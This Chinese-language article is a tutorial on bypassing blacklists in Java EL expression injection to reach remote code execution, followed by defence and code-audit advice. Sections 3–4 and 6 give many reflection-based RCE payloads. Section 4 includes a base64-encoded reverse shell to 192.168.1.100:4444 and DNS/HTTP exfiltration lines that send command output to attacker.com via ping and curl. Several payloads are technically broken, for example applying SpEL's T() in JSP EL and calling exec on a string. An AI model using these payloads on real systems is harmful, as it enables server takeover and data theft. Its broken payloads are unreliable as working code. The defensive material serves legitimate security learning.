1. 项目概述:当表达式语言成为攻击者的“瑞士军刀”
在Web应用安全的世界里,注入攻击始终是悬在开发者头顶的达摩克利斯之剑。从经典的SQL注入到后来的命令注入、模板注入,攻防双方在字符与逻辑的战场上不断博弈。而今天我们要深入探讨的,是一种相对“年轻”但威力巨大的攻击手法——EL表达式注入。这个标题“EL表达式注入的‘极限绕过’:从黑名单到RCE的攻防艺术”,精准地概括了其核心:攻击者如何像一位技艺高超的锁匠,利用看似无害的表达式语言,层层突破开发者精心构筑的黑名单防线,最终实现远程代码执行的终极目标。
EL,即Expression Language,最初在JSP 2.0中引入,旨在简化JSP页面中JavaBean和集合对象的访问。后来,它被广泛应用于Java EE的各个框架,如JSF、Spring MVC等,用于在视图层进行数据绑定和简单逻辑处理。它的语法简洁,比如${user.name}就能轻松获取属性,${1+2}能直接计算。正是这种“动态执行”的特性,在缺乏严格输入验证和沙箱隔离的情况下,为攻击者打开了一扇危险的后门。想象一下,用户输入的内容没有被当作普通字符串,而是被应用服务器直接当作代码片段解析和执行,其后果不言而喻。
这场攻防的艺术性在于其不对称性。防守方(开发者)通常会采取黑名单过滤策略,比如过滤掉“Runtime”、“exec”、“ProcessBuilder”等危险关键词。而攻击方则像在玩一场“找不同”和“拼图”游戏,他们需要利用EL表达式强大的语法特性、上下文对象、以及Java反射机制,对黑名单进行“极限绕过”。从简单的字符串拼接、编码混淆,到利用内置对象和隐式变量,再到高阶的反射调用链构造,每一步都是智力与经验的较量。最终目标RCE(Remote Code Execution)意味着攻击者能完全控制服务器,执行任意系统命令,其危害等级是最高的。因此,理解EL表达式注入的绕过技巧,不仅是为了攻击,更是为了从根本上提升我们应用的安全水位,知道攻击者会从哪里来,才能更好地修筑防线。
2. EL表达式注入的核心原理与攻击面分析
要理解如何绕过,必须先理解EL表达式是如何被解析和执行的,以及攻击者能够利用哪些“武器”。
2.1 EL表达式的执行引擎与危险函数
在Java Web应用中,EL表达式的解析通常由如Apache Tomcat的javax.el.ELProcessor、Spring框架的StandardEvaluationContext(SpEL场景下,原理相通)等组件完成。当我们在JSP页面中写下${param.input}时,容器会在渲染页面时,调用EL解析器去计算这个表达式。解析器会识别表达式中的变量、运算符、函数,并在特定的上下文(ELContext)中查找变量的值、执行函数调用。
EL表达式之所以危险,是因为它支持以下特性:
- 方法调用:可以直接调用Java对象的方法,如
${user.setName('hacker')}。 - 静态字段/方法访问:通过
T()操作符可以访问任意类的静态字段和方法,这是通往RCE的关键跳板。例如${T(java.lang.Runtime)}就能获取到Runtime类的引用。 - 算术与逻辑运算:支持复杂的表达式,可用于构造绕过payload。
- 访问隐含对象:在Web上下文中,可以直接访问
pageContext,request,session,application等对象,这为攻击者探索和操控应用状态提供了便利。
最致命的组合,莫过于通过T()操作符获取到java.lang.Runtime类,然后调用其getRuntime()静态方法获取实例,最后调用exec()方法执行命令。这就是经典的EL表达式RCE payload雏形:${T(java.lang.Runtime).getRuntime().exec('calc')}。
2.2 常见的黑名单防御策略及其脆弱性
面对这种威胁,开发者和安全运维人员的第一反应往往是黑名单过滤。常见的过滤策略包括:
- 关键词过滤:直接拦截包含“Runtime”、“ProcessBuilder”、“Class”、“forName”、“exec”、“getRuntime”等字符串的输入。
- 字符过滤:过滤反引号、美元符号
$、花括号{}、点号.、括号()等EL表达式的关键语法字符。 - 正则表达式匹配:使用复杂的正则表达式来匹配疑似EL表达式或命令执行的模式。
然而,这些策略在灵活的EL语法和Java丰富的特性面前,往往显得千疮百孔。它们的脆弱性根植于几个方面:首先,黑名单永远无法穷尽所有可能的攻击向量,尤其是结合反射和字符串变换时;其次,过滤逻辑可能存在顺序或逻辑缺陷,可以被绕过;最后,应用可能存在多个输入点和不同的处理逻辑,防御可能不统一。
3. “极限绕过”技术详解:从简单混淆到高阶利用
攻击者的艺术,就体现在如何将那些被禁止的“零件”,通过巧妙的“包装”和“组装”,成功送入执行引擎。下面我们从易到难,拆解几种典型的绕过技术。
3.1 基于字符串拼接与编码的初级绕过
这是最直接、最常用的绕过方式,核心思想是让最终执行的payload字符串,在“组装”之前不被黑名单识别。
1. 字符串拼接:EL表达式支持使用+进行字符串连接,也支持使用concat()方法。我们可以将危险关键词拆散。
- 原始payload:
${T(java.lang.Runtime).getRuntime().exec('calc')} - 拆分绕过:
${T(java.lang.Run).concat('time').getRuntime().exec('calc')}这里将“Runtime”拆成“Run”和“time”,再用concat()连接。如果过滤了“Runtime”,但没过滤“Run”和“time”,就可能绕过。 - 更细粒度拆分:
${‘’.getClass().forName(‘java.la’+’ng.Ru’+’ntime’).getMethod(‘getRu’+’ntime’).invoke(null).exec(‘calc’)}这里完全使用了反射的链条,并且将所有关键词都进行了拆分。
2. 字符编码与十六进制/八进制表示:Java和EL表达式支持多种字符表示形式。
- 十六进制(\x)或Unicode(\u)转义:在某些上下文中,可以使用转义字符。例如,
Runtime可以表示为R\u0075ntime(u的Unicode是\u0075)。但注意,EL表达式本身可能不支持直接的\u转义,这通常需要在Java字符串层面构造。 - 从字符编码转换:更通用的方法是利用
String类的构造方法或char转换。例如,通过数字构造字符:${‘’.getClass().forName(‘java.lang.’.concat(‘R’.concat(‘u’).concat(‘n’).concat(‘t’).concat(‘i’).concat(‘m’).concat(‘e’)))}虽然繁琐,但原理是构建字符数组。更高级的会利用反射调用java.lang.Character.toString(charCode)来动态生成字符。
实操心得:在实际测试中,字符串拼接是最快验证过滤规则是否生效的方法。可以先提交
${7*7}测试EL是否执行,然后用${‘cl’+’ass’}测试是否过滤了“class”这个词。注意观察应用的错误回显,不同的错误信息能告诉你过滤发生在哪一层(WAF、应用代码、还是EL引擎本身)。
3.2 利用EL内置对象与反射的中级绕过
当简单的字符串变换被防御后,攻击者会转向利用EL表达式更底层的特性。
1. 利用pageContext对象:在JSP EL中,pageContext是一个强大的内置对象,它是PageContext的实例,可以访问到ServletContext、HttpSession、ServletRequest、ServletResponse等所有JSP隐含对象。更重要的是,通过pageContext可以获取到ServletContext,进而有可能访问到应用中注册的Bean或其他对象,为后续攻击铺路。虽然直接通过pageContext执行命令较难,但它是一个重要的信息收集跳板。
2. 深度利用Java反射(Reflection):反射是绕过黑名单的“终极武器”之一。黑名单可以过滤已知的类名和方法名,但很难过滤反射API本身,因为它们是基础API(Class.forName,getMethod,invoke)。
- 反射调用Runtime:
这个payload中,// 对应的EL表达式 payload ${''.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null).exec('calc')}‘’是一个空字符串对象,调用其getClass()方法获得String.class;然后通过这个Class对象调用forName动态加载Runtime类;接着获取其静态方法getRuntime;invoke(null)表示调用这个静态方法(因为getRuntime是静态的,不需要实例);最后调用返回的Runtime实例的exec方法。 - 反射调用ProcessBuilder:如果
Runtime被过滤,ProcessBuilder是另一个选择。${T(java.lang.ProcessBuilder).newInstance('calc').start()}或者用反射:${''.getClass().forName('java.lang.ProcessBuilder').getConstructor(String[].class).newInstance(new String[]{'calc'}).start()}
注意事项:使用反射时,需要注意参数类型的匹配。例如,
ProcessBuilder的构造器参数是String...或List<String>,在EL中构造数组或列表有时需要技巧。EL中可以直接用new String[]{'cmd', '/c', 'calc'}创建数组,但要注意括号的转义。
3.3 绕过字符过滤与上下文限制的高阶技巧
当应用不仅过滤关键词,还严格过滤了特殊字符如$,{,},.,(,)时,挑战就升级了。
1. 利用EL表达式中的“括号表达式”([])代替点号(.):在EL中,a.b等价于a[“b”]。当点号被过滤时,可以用中括号和字符串属性名来访问方法和属性。
- 原式:
${T(java.lang.Runtime).getRuntime().exec('calc')} - 绕过点号:
${T(java.lang.Runtime)['getRuntime']()['exec']('calc')}这里,getRuntime和exec都作为字符串属性名来访问。如果括号()也被过滤,情况会更复杂,可能需要结合其他技巧。
2. 利用JavaScript引擎或ScriptEngineManager(条件苛刻):如果应用环境中同时存在可用的脚本引擎(如Nashorn),攻击者可能尝试通过EL触发脚本执行。例如,通过pageContext找到ServletContext,再尝试获取ScriptEngineManager。但这通常需要非常特定的环境配置,不是通用方法。
3. 二次注入与上下文污染:有时,输入在存储进数据库或会话(Session)时未被充分过滤,当这些数据后来被取出并拼接到EL表达式中执行时,就会造成二次注入。攻击者可能无法直接在一个输入点注入完整的RCE payload,但可以分步进行:先注入一个存储型payload到数据库的某个字段(如用户名),当管理员后台查看该用户信息,并且页面使用了EL表达式渲染该字段时,攻击就被触发了。这种攻击路径更长,但更隐蔽。
4. 从注入点到RCE的完整攻击链构造
理解了绕过技巧,我们来看攻击者如何一步步构建完整的攻击链。这不仅仅是一个payload,而是一个系统的过程。
4.1 信息收集与漏洞探测
攻击的第一步永远是信息收集。对于潜在的EL注入点,攻击者会尝试:
- 探测EL执行:提交最简单的算术或逻辑表达式,如
${7*7}、${true}、${‘a’},观察返回页面是否将计算结果(49)或布尔值/字符串显示出来,或者是否产生错误(如500错误,可能包含堆栈信息)。 - 探测上下文与黑名单规则:提交包含疑似黑名单词汇的测试payload,如
${‘Runtime’}、${‘class’},观察是返回过滤提示、错误还是原样输出。通过不同的组合测试,可以大致摸清过滤规则是简单关键词匹配、正则表达式还是更复杂的语法分析。 - 探测可用内置对象和类:尝试访问
${pageContext}、${request}、${session}等,看应用是否暴露了这些对象。尝试引用一些基础类,如${T(java.lang.String)},判断T()操作符是否可用。
4.2 Payload构造与分步执行
在确认存在EL注入且有一定绕过空间后,开始构造最终RCE payload。这个过程往往是分步、迭代的。
步骤一:获取ClassLoader或创建类实例由于直接使用T()或forName可能被过滤,攻击者可能需要迂回。一个常见起点是利用已知对象(如空字符串‘’、数字、请求参数)的getClass()方法获取到一个Class对象,作为反射的起点。${‘’.class}或${‘’.getClass()}
步骤二:动态加载目标类通过上一步的Class对象调用forName方法。这里需要绕过对类名的过滤。${‘’.getClass().forName(‘java.lang.Ru’ + ‘ntime’)}
步骤三:调用危险方法获取到目标类的Class对象后,通过getMethod、getConstructor获取方法或构造器,再用invoke或newInstance调用。${‘’.getClass().forName(‘java.lang.Ru’ + ‘ntime’).getMethod(‘getRu’ + ‘ntime’).invoke(null)}此时,我们得到了一个Runtime实例。
步骤四:执行命令最后,调用exec方法。命令本身也可能需要绕过,比如用String[]数组传递参数,或者对命令进行编码。${… .exec(‘bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}’)}这里示例了一个Base64编码的反弹Shell命令,用于绕过对空格、斜杠等字符的简单过滤。
4.3 无回显RCE与出网检测
在很多实战场景中,注入点可能没有回显(Blind EL Injection)。攻击者无法直接看到命令执行的结果。这时需要利用其他通道来验证和获取结果:
DNS外带(DNS Exfiltration):执行命令触发DNS查询,通过监控DNS日志来确认漏洞存在。例如,执行
ping -c 1whoami.attacker.com,如果attacker.com的DNS服务器收到对root.attacker.com的查询,就证明命令执行成功且用户是root。${T(java.lang.Runtime).getRuntime().exec(‘ping -c 1 ‘.concat(‘whoami’.concat(‘.attacker.com’)))}注意:这里需要根据操作系统调整命令,并且whoami的结果需要作为域名的一部分,不能有空格等非法字符,通常需要编码。HTTP外带(HTTP Request):使用
curl、wget或在Java中用URL类发起HTTP请求,将命令执行结果作为URL参数或请求体发送到攻击者控制的服务器。${T(java.lang.Runtime).getRuntime().exec(‘curl http://attacker.com/‘.concat(T(java.net.URLEncoder).encode(‘whoami’.exec(), ‘UTF-8’)))}这需要目标系统有这些网络工具,且能出网。延时判断(Time-based Blind):通过执行
sleep或ping -n(Windows)等命令制造时间延迟,根据响应时间判断命令是否执行。例如,如果执行了sleep 5,页面响应会延迟5秒以上。
常见问题:在构造无回显payload时,最大的挑战是命令字符串的拼接和特殊字符的处理。在EL表达式中,字符串连接和引号嵌套容易出错。建议先在本地简单的JSP环境中测试payload的语法正确性。另外,注意目标服务器的操作系统(Windows/Linux),命令语法完全不同。
5. 防御之道:从黑名单到纵深防御体系
了解了攻击者的手段,防守方的策略就应该从脆弱的黑名单升级为更稳固的纵深防御。
5.1 输入验证与输出编码
- 严格的白名单输入验证:对于任何可能被EL解析器处理的数据(如用户可控的模板变量、标签属性),应基于业务需求定义严格的白名单。例如,如果期望是一个数字ID,就只允许数字字符。这比黑名单有效得多。
- 上下文相关的输出编码:确保所有渲染到页面的用户数据都经过正确的编码。如果数据是作为HTML文本内容,就用HTML实体编码;如果是HTML属性,就用属性编码;如果确实需要作为JS或CSS的一部分,就用对应的编码。这可以防止数据被误解为EL语法。但请注意,输出编码是防止XSS的,对于服务端EL注入,如果数据在服务端拼接进EL表达式前未被过滤,输出编码是无效的。因此,关键是在数据进入EL解析器之前进行处理。
5.2 安全配置与沙箱环境
- 禁用或限制EL功能:在不需要EL表达式动态求值的场景,彻底禁用它。例如,在Spring MVC中,可以配置
StandardEvaluationContext为更安全的SimpleEvaluationContext,后者不支持类型引用(T())、构造函数引用(new)、bean引用等危险特性。对于JSP,可以考虑在web.xml中全局或针对特定页面禁用EL:<el-ignored>true</el-ignored>。 - 使用安全的EL实现:有些第三方EL库提供了沙箱功能。例如,OGNL(Struts2曾用的表达式语言)的历史漏洞告诉我们,默认配置往往很危险。如果必须使用,应研究其安全配置选项,限制可访问的类和方法。
- 最小权限原则:运行Java应用的服务账号,不应具有过高权限(如root)。这样即使发生RCE,攻击者能造成的破坏也相对有限。
5.3 代码审计与安全开发实践
- 避免动态拼接EL表达式:绝对不要将用户输入直接拼接到EL表达式字符串中,然后交给解析器执行。这是EL注入的根本原因。应使用数据绑定框架提供的安全方式,或者使用预定义的模板。
- 代码审计关注点:在代码审计中,重点关注以下模式:
ELProcessor.eval(value)StandardEvaluationContext+SpelExpressionParser(Spring SpEL)- JSP页面中的
${param.xxx}或${requestScope.xxx},其中xxx的来源是否用户完全可控。 - 任何将
request.getParameter()、request.getHeader()等获取的值,未经严格过滤就直接设置到模型属性(Model)或请求属性(request.setAttribute)中,随后在视图层被EL引用。
- 依赖项安全:及时更新服务器(如Tomcat)、框架(如Spring)的版本,修复已知的EL处理相关漏洞。
6. 实战演练与排查技巧实录
理论需要结合实践。假设我们在一个CTF靶场或内部渗透测试中遇到了一个疑似EL注入的点。
6.1 手工测试流程
- 初步探测:在输入框提交
${7*7},查看页面返回内容或源码中是否出现49。如果出现,确认存在EL执行。 - 判断上下文:提交
${pageContext}或${request},如果返回了对象信息(或报错信息中透露),说明是JSP环境,且隐含对象可用。 - 测试过滤:提交
${T(java.lang.String)},如果被拦截或返回错误,说明可能过滤了T()或java.lang。尝试拆分:${‘java.lang.’.concat(‘String’)},或者用反射${‘’.class.name}。 - 尝试命令执行(谨慎!仅在授权环境):如果环境允许,尝试无害命令,如
${T(java.lang.Runtime).getRuntime().exec(‘ping -c 1 127.0.0.1’)}。使用dnslog.cn或burp collaborator来接收DNS/HTTP外带请求,确认命令执行。 - 逐步绕过:如果遇到过滤,按照前述方法,依次尝试字符串拼接、编码、括号语法、反射链。
6.2 常见问题与错误排查
| 问题现象 | 可能原因 | 排查思路与解决方案 |
|---|---|---|
提交${7*7}后,页面原样输出${7*7} | EL表达式未启用或输入点不在EL解析上下文中 | 检查web.xml中EL是否被禁用;确认输入参数是否被正确传递到会进行EL解析的视图层(如JSP、Thymeleaf模板)。尝试其他参数或位置。 |
提交payload后返回500错误,错误信息包含javax.el.ELException | EL语法错误或访问了不存在的属性/方法 | 仔细检查payload语法,括号是否匹配,引号是否正确,类名和方法名是否准确。使用更简单的payload测试。 |
提交包含Runtime的payload后,返回“非法输入”等提示,但简单算术表达式正常 | 应用层或WAF存在黑名单过滤 | 开始实施绕过策略:拆分关键词、使用反射、改变大小写(如果过滤是大小写敏感)、使用编码。 |
| 命令执行payload提交后无回显,也无错误 | 可能是盲注;或者命令执行失败(路径错误、权限不足) | 采用无回显技术:尝试DNS外带、HTTP外带或时间延迟判断。检查命令语法是否正确,特别是路径和参数。尝试执行whoami或id等简单命令。 |
| 反射链payload过长,被截断或报错 | 可能有长度限制或特殊字符被转义 | 尝试缩短payload,例如优先使用T()操作符而非长反射链。对payload进行URL编码后提交。 |
6.3 自动化工具辅助与局限性
对于EL注入,也有一些半自动化的测试工具或Burp Suite插件(如EL Injection Scanner)可以帮助探测。它们能自动生成和测试一系列常见的EL测试payload。然而,由于绕过技巧高度定制化,且严重依赖应用的具体过滤逻辑,自动化工具往往只能发现最基础的、无防护的EL注入点。对于存在WAF或自定义过滤的场景,手工测试和模糊测试(Fuzzing)结合仍然是不可替代的。可以自己编写一个简单的Fuzzing字典,包含各种拆分、编码、变形的Runtime、exec等关键词,以及不同的语法构造方式,进行批量测试。
EL表达式注入的攻防,是一场在语法和语义层面进行的精巧博弈。攻击者不断寻找语言特性和过滤逻辑之间的缝隙,而防守者则需要构建从输入验证、安全配置到安全编码的完整防线。对于开发者而言,理解这些绕过技巧并非为了实施攻击,而是为了在编写代码时,能清晰地意识到哪些做法是危险的,从而主动避免漏洞的产生。安全是一个持续的过程,唯有保持敬畏和学习,才能在这场无声的较量中守住阵地。